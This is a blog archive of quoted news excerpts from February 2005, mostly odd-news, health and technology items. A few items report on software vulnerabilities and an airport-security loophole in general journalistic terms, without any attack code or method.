Maureen Monaghan was charged with recklessly endangering children after allegedly urging 10 students to act up on her bus for the video, which she hoped would earn her a spot on the CBS show.
A separate camera on the inside of the bus recorded the Jan. 6 incident, and the bus company gave the footage to police.
'She encouraged the children to be disorderly on the bus while it was moving,' Elizabeth Township police Chief Robert Wallace said. 'In viewing the tape, there was so much commotion going on, we felt it was a very unsafe situation for her to allow this to happen.' "
Yahoo! News - Student Runs Over Driver's Ed Teacher
Yahoo! News - Student Runs Over Driver's Ed Teacher: "STONE MOUNTAIN, Ga. - A driver's education instructor was run over by one of her students and pinned beneath the car for 15 minutes, officials said.
Two cars driven by students collided on the DeKalb County Schools driver's education lot, then one of the students backed into Patricia Erwin, running her over.
She was hospitalized Friday in stable condition and underwent surgery for multiple broken bones.
Erwin, 64, who has taught driving for 20 years, was working with the students on a drill that included pulling forward and backing up at slow speeds, said Kal Kelliher, the district's driver's education coordinator."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "MIAMI (Reuters) - A woman who told police she saw a newborn boy tossed out of a car onto a street in North Lauderdale, Florida, is the child's mother and made up the bizarre story, police say.
The woman, Patricia Pokriots, 38, has been committed for psychiatric evaluation and has not been charged with a crime, police said on Friday."
Yahoo! News - Genetic 'Doping' Imminent Problem
Yahoo! News - Genetic 'Doping' Imminent Problem: "PORTLAND, Ore. - The 2008 Olympics are still a long way away but worries are already growing about whether it will become the first genetically enhanced competition in amateur sports.
Dr. Theodore Friedmann, a top adviser to the World Anti-Doping Agency, said the arrival of so-called 'gene doping' to enhance performance is 'inevitable.'
'The question, of course, is how genetic technology can be used to push the performance of athletes, and at what point does that kind of manipulation cease to be sport and become just an exercise in biotechnology,' Friedmann said. "
Yahoo! News - Astronauts Testing Repair Techniques
Yahoo! News - Astronauts Testing Repair Techniques: "CAPE CANAVERAL, Fla. - Astronauts on the first space shuttle flight since the Columbia tragedy will practice three methods for patching holes in orbit and have another two repair kits on hand in case their ship is actually damaged by launch debris this spring. "
RedNova News - Can This Black Box See Into the Future?
RedNova News - Can This Black Box See Into the Future?: "DEEP in the basement of a dusty university library in Edinburgh lies a small black box, roughly the size of two cigarette packets side by side, that churns out random numbers in an endless stream.
At first glance it is an unremarkable piece of equipment. Encased in metal, it contains at its heart a microchip no more complex than the ones found in modern pocket calculators.
But, according to a growing band of top scientists, this box has quite extraordinary powers. It is, they claim, the 'eye' of a machine that appears capable of peering into the future and predicting major world events. "
Saturday, February 12, 2005
Yahoo! News - MSN Messenger Exploit Code Goes Public
Yahoo! News - MSN Messenger Exploit Code Goes Public: "Malicious code that can be used to take advantage of a hole in Microsoft's (Nasdaq: MSFT - news) MSN Messenger has been published online, prompting widespread security advisories. "
Yahoo! News - Survey Finds Pain Common in Children and Teenagers
Yahoo! News - Survey Finds Pain Common in Children and Teenagers: "NEW YORK (Reuters Health) - Most children and adolescents commonly experience pain, such as headache or gastric discomfort, which often restricts activities of daily living, according to a study conducted in Germany. "
Yahoo! News - Patients with Serious Illness Appear to Adapt Well
Yahoo! News - Patients with Serious Illness Appear to Adapt Well: "NEW YORK (Reuters Health) - Most people who live with serious disability or illness, such as kidney failure, appear to adapt well and maintain a healthy outlook on life, new research reports. "
Yahoo! News - McDonald's to Pay $8.5 Million in Trans Fat Lawsuit
Yahoo! News - McDonald's to Pay $8.5 Million in Trans Fat Lawsuit: "SAN FRANCISCO (Reuters) - McDonald's has agreed to pay $8.5 million to settle a lawsuit over artery-clogging trans fats in its cooking oils, the company said on Friday. "
Yahoo! News - Flu Shots for Kids Would Protect Many Adults
Yahoo! News - Flu Shots for Kids Would Protect Many Adults: "FRIDAY, Feb. 11 (HealthDay News) -- U.S. flu rates would drop dramatically if the majority of schoolchildren, as well as members of high-risk groups, were vaccinated every fall, a new study suggests."
Wired News: School RFID Plan Gets an F
Wired News: School RFID Plan Gets an F: "Parents of elementary and middle school students in a small California town are protesting a tracking program their school recently launched, which requires students to wear identification badges embedded with radio frequency, or RFID, chips.
School superintendents struck a deal with a local maker of the technology last year to test the system to track attendance and weed out trespassers. "
Wired News: School RFID Plan Gets an F
Wired News: School RFID Plan Gets an F: "Parents of elementary and middle school students in a small California town are protesting a tracking program their school recently launched, which requires students to wear identification badges embedded with radio frequency, or RFID, chips.
School superintendents struck a deal with a local maker of the technology last year to test the system to track attendance and weed out trespassers. "
Migrating from x86 to PowerPC, Part 2: Anatomy of the Linux boot process
Migrating from x86 to PowerPC, Part 2: Anatomy of the Linux boot process: "Design notes for hardware and firmware involved in booting embedded Linux
Level: Introductory
Lewin Edwards (sysadm@zws.com)
Design Engineer
08 Feb 2005
This installment of 'Migrating from x86 to PowerPC' discusses detailed similarities and differences between booting Linux on an x86-based platform (typically a PC-compatible SBC) and a custom embedded platform based around PowerPC, ARM, and others. It discusses suggested hardware and software designs and highlights the tradeoffs of each. It also describes important design pitfalls and best practices.
This article describes the most common traits of embedded Linux� distributions that people employ on x86 hardware and contrasts some of the different options frequently seen on non-x86 embedded systems."
Thursday, February 10, 2005
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "HOUSTON (Reuters) - A Texas woman indicted last month for allegedly giving her husband a lethal sherry enema said he was an enema addict who did it to himself, a newspaper has reported.
Tammy Jean Warner said late husband Michael Warner had an alcohol problem and enjoyed giving himself wine or sherry enemas because his body would absorb the spirits more quickly that way.
'That's the way he went out and I'm sure that's the way he wanted to go out because he loved his enemas,' she told the Houston Chronicle on Thursday.
Michael Warner, 58, died on May 21 and was found to have a blood alcohol level of 0.47 percent, or nearly six times the level considered too drunk to drive in Texas."
Yahoo! News - Police Arrest Bank Robber Who Can't Spell
Yahoo! News - Police Arrest Bank Robber Who Can't Spell: "NEW YORK - Police in Nassau and Suffolk counties say they were able to tie at least 13 bank robberies to the same man because of the spelling errors in his hold-up notes.
Nassau County Police said Bart Thomas' hold-up notes misspelled the word 'robbery' � which he spelled 'robri' � and the word 'quick' - which he spelled 'kwik.'
Thomas, 43, of Ronkonkoma, was arrested Tuesday and charged with six counts of robbery and is believed to have been involved in nine more bank robberies in Suffolk County, dating back to March 2003, said Nassau Det. Sgt. Gary Schriffen. "
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "WASHINGTON (Reuters) - Aspiring space tourists have been given some proposed guidelines from the U.S. government, including advice to get a physical exam before travelling and to accept the risks involved by signing a form.
The draft Federal Aviation Administration guidelines also suggest operators of reusable space ships should inform their passengers of the vehicle's safety record and provide safety training before the launch, Transportation Secretary Norman Mineta said on Thursday."
Yahoo! News - S.C. Police Find Keg Party in Moving Truck
Yahoo! News - S.C. Police Find Keg Party in Moving Truck: "ROCK HILL, S.C. - Police found more than they bargained for when they stopped a U-Haul truck with a burned-out taillight. Instead of furniture in the back, police on Monday found a rolling keg party with about 20 people drinking whiskey and beer. Eleven people were charged with underage drinking.
'They all kind of froze and didn't know what to do, I guess,' officer Robert Marshall said.
The partygoers told police they rented the truck for someone's 21st birthday party because the bars were closed. The moving party was traveling streets without a particular destination.
The truck's driver first told police he was hauling a couch for a friend, according to police reports. But Marshall said he became suspicious after hearing scratching noises in the back of the vehicle.
The truck's driver was charged with reckless driving because the people in the back could have been injured, police said. Officers allowed the partygoers to call for rides and no one was arrested. "
Yahoo! News - Drunk Birds Crash Into Building's Glass
Yahoo! News - Drunk Birds Crash Into Building's Glass: "COLUMBIA, S.C. - Dozens of birds, drunk from eating holly berries, crashed into the glass of an office building and died earlier this week.
'It was like an Alfred Hitchcock movie,' worker Denise Wilkinson said. 'It was spooky. You could hear them where they flew into the glass.'
Warm weather and an ample supply of berries attracted hundreds of cedar waxwings into the enclosed courtyard of the three-story building Tuesday,
The birds began getting drunk on the berries. They got so loopy that some were falling off branches and others were slamming into the glass walls that enclose the courtyard, said Burgess Mills, the building's owner.
About half of the 100 birds that slammed into the building died, workers said.
Groundskeepers have tried to help the birds by putting tape on windows or nets over the holly trees to keep them from eating the berries, Mills said. "
Yahoo! News - Va. Lawmakers Drop Low-Riding Pants Bill
Yahoo! News - Va. Lawmakers Drop Low-Riding Pants Bill: "RICHMOND, Va. - Virginia lawmakers dropped their droopy-pants bill Thursday after the whole thing became just too embarrassing. "
Yahoo! News - 'Mr. DWI' Notches Another Arrest in S.D.
Yahoo! News - 'Mr. DWI' Notches Another Arrest in S.D.: "RAPID CITY, S.D. - Mr. DWI is in trouble again. Jerry R. Zeller, 64, who has been arrested multiple times for drunk driving, was arrested again on Tuesday. He's had so many arrests that law enforcement officials aren't sure of the total.
Ron Bedard, the police officer who arrested Zeller on Tuesday, said Zeller's criminal record 'seems to indicate roughly 33 prior arrests for DUI.' "
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "The number of young Americans meeting, dating and marrying fellow workers is on the rise in the United States, as more singles than ever work ever-longer hours, says a new report.
Outplacement firm Challenger, Gray, and Christmas said the number of single, employed Americans had risen 18.3 percent to 58,948,000 in the last decade, and they are spending more time working, cutting the chances of meeting people elsewhere.
Today's office has replaced the 1990s workout gym and the 1980s singles bar as a place to meet new people, said James Pedderson, Challenger's director of public relations.
An earlier poll by the American Management Association showed nearly a third of employees surveyed had dated someone from work, and that 44 percent of those couples had married."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "NEW YORK (Reuters) - A weak El Nino and human-made greenhouse gases could make 2005 the warmest year since records started being kept in the late 1800s, NASA scientists said this week.
While climate events like El Nino -- when warm water spreads over much of the tropical Pacific Ocean --affect global temperatures, the increasing role of human-made pollutants plays a big part.
'There has been a strong warming trend over the past 30 years, a trend that has been shown to be due primarily to increasing greenhouse gases in the atmosphere,' said James Hansen of NASA's Goddard Institute for Space Studies, based in New York.
The warmest year on record was 1998, with 2002 and 2003 coming in second and third, respectively.
Short-term factors like large volcanic eruptions that launched tiny particles of sulfuric acid into the upper atmosphere in 1963, 1982 and 1991 can change climates for periods ranging from months to a few years."
Judge slams SCO's lack of evidence against IBM | CNET News.com
Judge slams SCO's lack of evidence against IBM | CNET News.com: "The federal judge overseeing the SCO Group's suit against IBM regarding Unix and Linux has thwarted an IBM attempt to defang SCO's claims, but he also voiced loud skepticism about SCO's case.
IBM in 2004 sought a declaration that its Linux activities hadn't violated SCO's purported Unix copyrights, as SCO had claimed publicly and in its lawsuit. Although U.S. District Judge Dale Kimball didn't grant that declaration--called a partial summary judgment--he sharply criticized SCO for not producing evidence for its case.
'Despite the vast disparity between SCO's public accusations and its actual evidence--or complete lack thereof--and the resulting temptation to grant IBM's motion, the court has determined that it would be premature to grant summary judgment,' Kimball wrote Wednesday. 'Viewed against the backdrop of SCO's plethora of public statements concerning IBM's and others' infringement of SCO's purported copyrights to the Unix software, it is astonishing that SCO has not offered any competent evidence to create a disputed fact regarding whether IBM has infringed SCO's alleged copyrights through IBM's Linux activities.' "
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "AMSTERDAM (Reuters) - Dutch children can dial phone lines to listen to recordings of fairytales like Little Red Riding Hood, but busy parents must be willing to pay about $7 (3.77 pounds) a call, enough to buy the printed version of the classic tales.
'Sprookiebel' -- 'dial-a-fairytale' in English -- says it is the first fairytale phone service in The Netherlands and has already had some 600 calls from children since its launch at the start of the month.
Callers can choose from a selection of four fairytales, which are changed regularly, and listen to them 24 hours a day for 0.55 euro per minute.
Though some of its offerings were penned 186 years ago, the moral messages the 10-minute tales contain continue to make them relevant today, says Sprookiebel. "
Yahoo! News - Robbery Suspect Drops Wallet, Arrested
Yahoo! News - Robbery Suspect Drops Wallet, Arrested: "EULESS, Texas - A robbery suspect was caught after leaving his wallet on the store counter � and then going to the police station to pick it up.
Joseph Fahnbulleh, 22, of Arlington, remained in the Euless City Jail on Thursday night with bail set at $30,000. He faces a robbery charge.
A few days after the robbery, he walked into the Euless police station to pick up his wallet after a detective called to tell him someone had found it.
'Once we had the wallet, we called him to say it had been turned in to our lost and found,' Euless police Detective Marco Valladares said. 'We don't really have one.'
A clerk told police that during a Jan. 29 robbery, a man gave him $5 for cigarettes. When the cash drawer was opened, the robber sprayed the clerk with pepper spray and grabbed about $200, police said. "
Yahoo! News - Aaahhhhhhhhhhhhhhhhhhh!!!!!!
Yahoo! News - Aaahhhhhhhhhhhhhhhhhhh!!!!!!: "LONDON (Reuters) - A British woman was sentenced to two and a half years in jail Thursday for ripping off her ex-lover's testicle with her bare hands during a drunken brawl after he refused her sex.
Amanda Monti, 24, flew into a rage in May last year after Geoffrey Jones, 37, who had ended their long-term relationship, rejected her advances.
She grabbed him by the genitals, tearing off his left testicle, then hid it in her mouth before a friend of Jones handed it back to him saying 'that's yours.'
Monti, of Birkenhead, near Liverpool, pleaded guilty to unlawful wounding at an earlier hearing. "
Yahoo! News - Man Keeps Crocodile, Python in Bedroom Zoo
Yahoo! News - Man Keeps Crocodile, Python in Bedroom Zoo: "SYDNEY (Reuters) - A mini zoo housing a giant Burmese python, two iguanas and a freshwater crocodile was discovered in an apartment in Sydney after police were called to settle a domestic dispute.
John Cavaleri, who kept the animals in his bedroom, was fined A$1,000 ($769) by a local court on Tuesday for illegally possessing the exotic and protected animals, a court official said on Thursday.
Behind glass tanks in Cavaleri's bedroom in the Bondi Beach apartment lived a 100-kg (220-pound) python, two adult green iguanas and a freshwater baby crocodile, the court was told.
The exotic animals were taken to Sydney's Taronga Zoo, but Cavaleri was allowed to keep his pet monkey and several cats. "
Yahoo! News - Police Say Man Signaled Turns During Chase
Yahoo! News - Police Say Man Signaled Turns During Chase: "KALISPELL, Mont. - Deputies were taken aback during a chase involving a suspected burglar. He signaled his upcoming turns, Flathead County Sheriff's Sgt. Ernie Freebury said Tuesday.
Deputies were going to a residence Monday night to arrest a man on a probation violation and investigate some burglaries, Freebury said. A vehicle raced out of the driveway, nearly knocking down the deputies, and then struck a patrol car parked nearby to intercept him, he said.
Freebury said the chase never exceeded 70 mph, and the driver even signaled his turns.
Oliver Pearson, 28, was arrested and charged with probation violation, assaulting a police officer, eluding and having no insurance or driver's license. "
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "CANBERRA (Reuters) - It's every single person's nightmare: You're on a date, it's a disaster but there's no way out.
With Valentine's Day looming, a mobile phone company in Australia has come to the rescue with a service offering an escape from the date from hell.
All you have to do is discreetly dial three numbers and then hang up without saying a word.
'Virgin Mobile will call them back a minute later with a perfect excuse to get them out of there. We'll even talk them through what to say,' the company, a joint venture of the Virgin Group and Optus, said in a statement on Thursday.
A survey of 402 people by Virgin Mobile found that 53 percent arrange in advance to have a friend call them mid-date to check they are all right or if they need an excuse to get out."
Yahoo! News - Health Tip: Controlling Hunger While Dieting
Yahoo! News - Health Tip: Controlling Hunger While Dieting: "(HealthDay News) -- No matter what kind of diet you're on -- low-fat, high-protein, or low-carb -- hunger may be lurking to derail many weeks of discipline."
Health News Article | Reuters.co.uk
Health News Article | Reuters.co.uk: "MELBOURNE (Reuters) - Young women with low libido had good sex more often after using a testosterone spray, Australian researchers said on Thursday.
The spray, designed by Australian group Acrux Ltd. and being developed by U.S.-based Vivus Inc., has previously worked on women who have passed menopause, who typically have low testosterone.
However, investigators said the company may be able to win approval for its product more easily by targeting young women, where the spray would take testosterone back to normal levels."
Health News Article | Reuters.co.uk
Health News Article | Reuters.co.uk: "NEW YORK (Reuters Health) - Patients with chronic pain disorders, such as fibromyalgia, appear to have abnormalities in the self-monitoring mechanism that allows the discrimination of internally produced versus externally produced stimuli, new research shows.
The findings, which appear in Psychosomatic Medicine, are based on a study of 20 patients with a chronic pain disorder (including 10 with fibromyalgia),10 with schizophrenia, and 10 normal controls."
Health News Article | Reuters.co.uk
Health News Article | Reuters.co.uk: "NEW YORK (Reuters Health) - Certain high-protein infant diets may cause elevated levels of the amino acids tyrosine and phenylalanine, which may in turn produce a positive test result for a metabolic disorder, according to the findings of two case reports described in the Journal of Pediatrics."
Yahoo! News - Tecmo Sues Internet Users for Video Game Hacking
Yahoo! News - Tecmo Sues Internet Users for Video Game Hacking: "LOS ANGELES (Reuters) - Tecmo Inc. has sued users of an Internet message board devoted to hacking into popular games, including its 'Ninja Gaiden' and 'Dead or Alive,' to change their codes, the publisher said on Wednesday. "
Yahoo! News - Program Attacks Microsoft AntiSpyware App
Yahoo! News - Program Attacks Microsoft AntiSpyware App: "One month after Microsoft released a beta version of its new anti-spyware software, security researchers at Sophos say they have detected the first malware program that seeks to attack it."
Health News Article | Reuters.co.uk
Health News Article | Reuters.co.uk: "LOS ANGELES (Reuters) - A federal appeals court on Wednesday threw out a $15 million punitive damages award to a lifelong smoker who sued R.J. Reynolds Tobacco Co. after losing his legs from a cigarette-related illness.
But the Tenth U.S. Circuit Court of Appeals, in a split decision, left intact a Kansas jury's compensatory damages of $196,416, finding the cigarette maker failed to warn David Burton of the dangers of smoking.
The jury also awarded $1,984 in compensatory damages, but no punitive damages, against Brown & Williamson Tobacco Corp. The two companies merged last summer, forming a new company, Reynolds American Inc .
In their majority opinion, the justices found that the facts of the case did not support a finding of fraud under Kansas law against the nation's No. 2 tobacco manufacturer.
The appellate court's ruling effectively nullified Burton's ability to collect punitive damages, which were based on the fraud claim, the court wrote in its opinion. "
Symantec flaw leaves opening for viruses: ZDNet Australia: News: Security
Symantec flaw leaves opening for viruses: ZDNet Australia: News: Security: "Symantec has issued a patch for a flaw in its scanning software that could cause a virus to run, rather than catch it.
The vulnerability affects an antivirus library used by the majority of Symantec's antivirus and antispam products, including Norton SystemWorks 2004 and Symantec Mail Security for Exchange, the security provider said on Tuesday.
The software is aimed at a range of systems, from consumer desktops to large corporate mail servers, meaning the flaw could be used to take control of key corporate systems or to install programs to grab people's identity data.
'The impact of this vulnerability is exaggerated by the fact that many e-mail and other traffic routing gateways make use of file-scanning utilities that make use of the vulnerable library,' Symantec said in an advisory. 'This could allow an attacker to potentially exploit high-profile systems used to filter malicious data, and potentially allow further compromise of targeted internal networks.' "
Wired News: Tech Solves Hope Diamond Mystery
Wired News: Tech Solves Hope Diamond Mystery: "WASHINGTON -- Researchers using computer analysis have traced the origin of the famed Hope Diamond, concluding that it was cut from a larger stone that was once part of the crown jewels of France.
A French connection had been suspected for the Hope, but the new study shows just how it would have fit inside the larger French Blue Diamond and how that gem was cut, Smithsonian gem curator Jeffrey Post explained. "
Wednesday, February 09, 2005
as simple as possible, but no simpler: Mapping Google
as simple as possible, but no simpler: Mapping Google: "By now, many of you will have gone and tried out the new Google Maps application. By and large, you have to admit that it's pretty damned slick for a DHTML web application -- even my wife was impressed, and that's not easy with geek toys. So, in the spirit of Google Suggest and GMail, I've decided to have a quick peek under the hood to figure out what makes it tick."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LUSAKA (Reuters) - Zambia's central bank has told commercial banks and financial institutions to withdraw from circulation plastic bank notes printed in 2003 because they are fading.
Bank of Zambia Governor Caleb Fundanga said on Wednesday the notes printed by the Canadian Bank Note Company would be replaced with new notes printed by the same firm.
The notes in denominations of 500 and 1,000 kwacha (.06 and .12 pounds) created public outrage in 2004 when they started fading soon after being launched in September the previous year."
Yahoo! News - Man Charged in 'Female Athlete' Scam
Yahoo! News - Man Charged in 'Female Athlete' Scam: "HARARE (Reuters) - Zimbabwe police have charged a man with masquerading as a female athlete after he competed as a woman at several international sports events, the official Herald newspaper reported Wednesday.
The paper said the man, a triple jumper and runner who also competed at javelin and shot put, faced charges of impersonation and offending the dignity of a woman athlete who undressed in his presence not realizing he was a man.
The Herald said he won a gold medal at a regional tournament in Botswana last June and won five medals at a youth championship in Mauritius.
The man told the court at his first appearance that he had been born with both female and male organs, and that he lived as a woman after consulting a traditional healer. But the Herald said a medical examination had shown he was male."
Yahoo! News - Drug Gangs Force Indians to Drop Tradition
Yahoo! News - Drug Gangs Force Indians to Drop Tradition: "MONTERREY, Mexico (Reuters) - Mexican drug gangs are forcing Indian tribes to abandon their traditional crops and grow marijuana and heroin poppies, according to a study released on Tuesday.
The report by Mexico's National Anthropology and History Institute said armed drug gangs were driving communities of Tarahumara, Guarijio and Pima Indians to give up their age-old way of life in the mountains of Sonora and Chihuahua states."
Yahoo! News - Lawsuit Over Elizabeth Taylor's Van Gogh Dismissed
Yahoo! News - Lawsuit Over Elizabeth Taylor's Van Gogh Dismissed: "LOS ANGELES (Reuters) - A federal judge has thrown out a lawsuit against Elizabeth Taylor by the heirs of a German woman who claimed to be the rightful owners of a Van Gogh painting in the actress's collection."
Health News Article | Reuters.co.uk
Health News Article | Reuters.co.uk: "LONDON (Reuters) - Patients suffering from the serious respiratory disease COPD are not receiving optimum care and more than 1 in 10 who are admitted to hospital die within 90 days, health experts said on Wednesday.
Chronic Obstructive Pulmonary Disease, which includes chronic bronchitis and emphysema, is the fifth most common cause of death in England and Wales."
Yahoo! News - Box: Prenatal Screening Urged for Parasite
Yahoo! News - Box: Prenatal Screening Urged for Parasite: "THE PARASITE: Toxoplasma gondii can be contracted during pregnancy if a woman cleans a cat litter box, gardens or eats raw eggs or meat."
A Dangerous Loophole in Airport Security - If Slate could discover it, the terrorists will too. By Andy Bowers
A Dangerous Loophole in Airport Security - If Slate could discover it, the terrorists will too. By Andy Bowers: "The Homeland Security Department's No-Fly List has always seemed a bit absurd to me. Only the stupidest terrorist would try booking a flight under his own name (or his known aliases) three years after the 9/11 attacks, and one thing I hope we've all learned is that our most dangerous enemies aren't stupid.
But even if you assume the No-Fly List serves an important purpose, the system as it presently operates contains a gaping, dangerous loophole that makes the list nearly useless. It's a loophole so obvious, it occurred to me the first time I held it in my hand. And believe me, if I can figure it out, any terrorist worth his AK-47 realized it a long time ago.
The loophole is 'Internet check-in,' a convenience most airlines now offer. (It was first used by Alaska Airlines in 1999, but expanded rapidly after 9/11, as air carriers looked for ways to ease wait times for grumpy passengers.)"
The developerWorks Power Architecture challenge: Cooling down hot processors
The developerWorks Power Architecture challenge: Cooling down hot processors: " Face it: the only scorching hot thing you want with a chip is salsa. Any other overheating is potentially counterproductive, and can be downright damaging to the microprocessor -- or other components. In this Power Architecture challenge, developers warm up to the idea of how to cool down the hotter processors. From the weird to the wonderful, readers uncover potential ways to chill the chips.
Somewhere, deep inside your computer is the tiny slab of silicon that makes it go. That slab in turn is built out of millions -- perhaps hundreds of millions -- of transistors. Every time one of those transistors changes state, it leaks a tiny amount of electricity; in turn, that electricity produces heat. And that heat, accumulated over millions of transistors changing state thousands of times per second, may potentially threaten your fertility (see Resources).
Dr. Claes-Goran Ostenson saw this first hand when he concluded that one of his patients had been using a laptop in the way that its name implied, became engrossed in his work, and didn't notice the burning sensation in his lap, and thus became the first victim of what has come to be known as 'lapburn.' Ostenson felt the incident warranted exposure in the world of medical science, so he wrote a letter to the Lancet in 2002.
It stirred a mild amount of controversy, with commentors coming down on predictable sides. Laptop manufacturers were skeptical, while spokespersons for companies that produce chip-cooling paraphenalia looked serious and nodded sagely, implying that your lap could be next. Worries about 'lapburn' spawned a whole industry of fan-based gadgets that plugged into the bottom of laptops, sometimes rendering the laptops' portability features pointless in the process. But the situation did highlight one important fact: Chips are hot.
And that's meant not in a market-ese, 'everybody's-gotta-have-one' kind of way, but in a very literal and skin-scorching way."
Yahoo! News - West Hollywood May Ban Cosmetic Surgery for Pets
Yahoo! News - West Hollywood May Ban Cosmetic Surgery for Pets: "LOS ANGELES (Reuters) - All dogs go to heaven. And the ones from West Hollywood may now get there with their ears and tails intact.
The mayor of West Hollywood -- a liberal, pet-embracing city adjacent to Los Angeles that two years ago brought America a ban on the declawing of cats -- has proposed a new ordinance making 'tail-docking' and 'ear-cropping' illegal."
Yahoo! News - Wisconsin May Drop Song Over Resemblance
Yahoo! News - Wisconsin May Drop Song Over Resemblance: "MADISON, Wis. - Imitation might be a form of flattery, but a little resemblance might be too much of a good thing.
The state tourism agency may scrap the jingle composed for its new ad campaign because it sounds too much like a 1995 song by a British group."
Yahoo! News - Man Arrested for Lawyer Jokes Cleared
Yahoo! News - Man Arrested for Lawyer Jokes Cleared
Yahoo! News - Woman, 90, Survives Fall Into Cesspool
Yahoo! News - Woman, 90, Survives Fall Into Cesspool: "STRATFORD, N.J. - A 90-year-old woman who fell into a dry cesspool in her backyard and was trapped for more than an hour was saved after a mail carrier heard her calls for help."
Yahoo! News - Memphis Firefighters Land in Hot Water
Yahoo! News - Memphis Firefighters Land in Hot Water: "MEMPHIS, Tenn. - The Memphis Fire Department has reprimanded 19 firefighters for wearing department equipment while performing 'unbecoming' acts at a racy fashion show benefit.
Fire officials said the men failed to get permission to use the department's name at the police and firefighters gala last summer.
Investigators reviewed a videotape of the event, which featured nearly nude men who appeared to wear only soap suds on stage and at least two women who were hoisted in the air with their legs around the men's waists. Others in the show swung badges, wore department pants and held nightsticks.
According to the fire department, 28 firefighters were involved in the event, but there was not enough evidence to punish some, and some did not have on uniforms.
The Memphis police officers had approval to participate."
Yahoo! News - Ark. Drug Bust Crashes Kid's Birthday
Yahoo! News - Ark. Drug Bust Crashes Kid's Birthday: "LITTLE ROCK, Ark. - Police on a drug raid burst into a home during a toddler's birthday party, startling children who were getting ready to eat their cake when the gun-toting officers crashed the party."
Yahoo! News - Police Say Robber Also Stole From Mom
Yahoo! News - Police Say Robber Also Stole From Mom: "SYRACUSE, N.Y. - Police say a 40-year-old man accused of robbing two banks also robbed his mother to support his crack cocaine addiction.
George Burgess was arrested Monday in front of an M&T Bank branch he was planning to rob, Syracuse Police spokesman Sgt. Tom Connellan said."
Yahoo! News - Pepsi Drinker Celebrates 105th Birthday
Yahoo! News - Pepsi Drinker Celebrates 105th Birthday: "MONETTE, Ark. - A woman who drinks a Pepsi a day marked her 105th birthday Tuesday. Mitchell was born in Blytheville on Feb. 8, 1900, and lived on her own until a broken hip sent her to the Monette Manor nursing home at age 101."
Yahoo! News - Okla. Judge's Career Ended by Allegations
Yahoo! News - Okla. Judge's Career Ended by Allegations: "OKLAHOMA CITY - Jurors and others in Judge Donald Thompson's courtroom kept hearing a strange whooshing noise, like a bicycle pump or maybe a blood pressure cuff. During one trial, Thompson seemed so distracted that some jurors thought he was playing a hand-held video game or tying fly-fishing lures behind the bench."
Yahoo! News - Chicken Manure Stench Holds Town Hostage
Yahoo! News - Chicken Manure Stench Holds Town Hostage: "FRENCHVILLE, Maine - Northern winds have been sending a stench of manure from across the Canadian border, the people in this St. John Valley town are tired of holding their noses.
'It smells like acid or sulfur, and it's really strong. The last couple of weeks have been really bad,' Frenchville Town Manager Philip Levesque said. 'It's an international problem.'"
Yahoo! News - Va. Bill Sets Fine for Low-Riding Pants
Yahoo! News - Va. Bill Sets Fine for Low-Riding Pants: "RICHMOND, Va. - Virginians who wear their pants so low their underwear shows may want to think about investing in a stronger belt."
Yahoo! News - Paralysed man in global marathon record bid
Yahoo! News - Paralysed man in global marathon record bid: "SINGAPORE (Reuters) - A man paralysed from the waist down is making a world record bid by racing his wheelchair in seven marathons in 70 days in seven continents, including a stretch in Antarctica, Singapore media has reported."
Yahoo! News - Why Is Symantec So Slow with Updates?
Yahoo! News - Why Is Symantec So Slow with Updates?
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "WASHINGTON (Reuters) - Some planets in our galaxy could harbor an unexpected treasure: a thick layer of diamonds hiding under the surface, astronomers reported on Monday.
No diamond planet exists in our solar system, but some planets orbiting other stars in the Milky Way might have enough carbon to produce a diamond layer, Princeton University astronomer Marc Kuchner said in a telephone news conference."
Yahoo! News - Hawaii Aquarium Needs About $1M in Repairs
Yahoo! News - Hawaii Aquarium Needs About $1M in Repairs: "HONOLULU - The 100-year-old Waikiki Aquarium needs almost $1 million in repairs to mend leaky roofs and corroding pipes. During rainy days, water holes in the ceiling drip onto visitors' heads."
Yahoo! News - Britain May Have Found Goat with BSE
Yahoo! News - Britain May Have Found Goat with BSE: "LONDON (Reuters) - Britain said Tuesday a goat diagnosed as having the brain-wasting disease scrapie in 1990 may have had mad cow disease, but it would take up to two years of further tests to confirm this."
Yahoo! News - Study Backs Controversial Blood-Thinning Drug
Yahoo! News - Study Backs Controversial Blood-Thinning Drug: "CHICAGO (Reuters) - A blood-thinning drug not approved for the U.S. market because of questions about liver damage appears to be as effective as other common therapies for preventing strokes and recurring blood clots, according to studies published on Tuesday."
Yahoo! News - Embryo Ruling Could Have Ripple Effect
Yahoo! News - Embryo Ruling Could Have Ripple Effect: "CHICAGO - All Alison Miller and Todd Parrish wanted was to become parents. But when a fertility clinic didn't preserve a healthy embryo they had hoped would one day become their child, they sued for wrongful death."
Yahoo! News - Awareness May Remain After Severe Brain Injury
Yahoo! News - Awareness May Remain After Severe Brain Injury: "NEW YORK (Reuters Health) - Patients in a minimally conscious state (MCS) -- those with severe brain damage who demonstrate intermittent awareness of their environment -- may retain some degree of cognitive function, even though they can't follow simple instructions or communicate, the findings from a small study suggest."
Yahoo! News - Nicotine Won't Slow Alzheimer's
Yahoo! News - Nicotine Won't Slow Alzheimer's: "TUESDAY, Feb. 8 (HealthDayNews) -- Although earlier research has suggested nicotine decreases the brain plaque associated with Alzheimer's disease (news - web sites), results of a new mouse study point to the opposite conclusion."
Yahoo! News - Health Tip: Detecting Ear Infections in Children
Yahoo! News - Health Tip: Detecting Ear Infections in Children: "(HealthDay News) -- It is not always easy to know if your child has an ear infection, especially if he hasn't learned to talk."
Wired News: New Chip to Challenge Intel
Wired News: New Chip to Challenge Intel: "SAN FRANCISCO -- Setting up a battle for the future of computing, engineers from IBM, Sony and Toshiba unveiled details Monday of a microprocessor they claim has the muscle of a supercomputer and can power everything from video-game consoles to business computers.
Devices built with the processor, code-named Cell, will compete directly with the PC chips that have powered most of the world's personal computers for a quarter century."
Wired News: What Exactly Is Under the Sea?
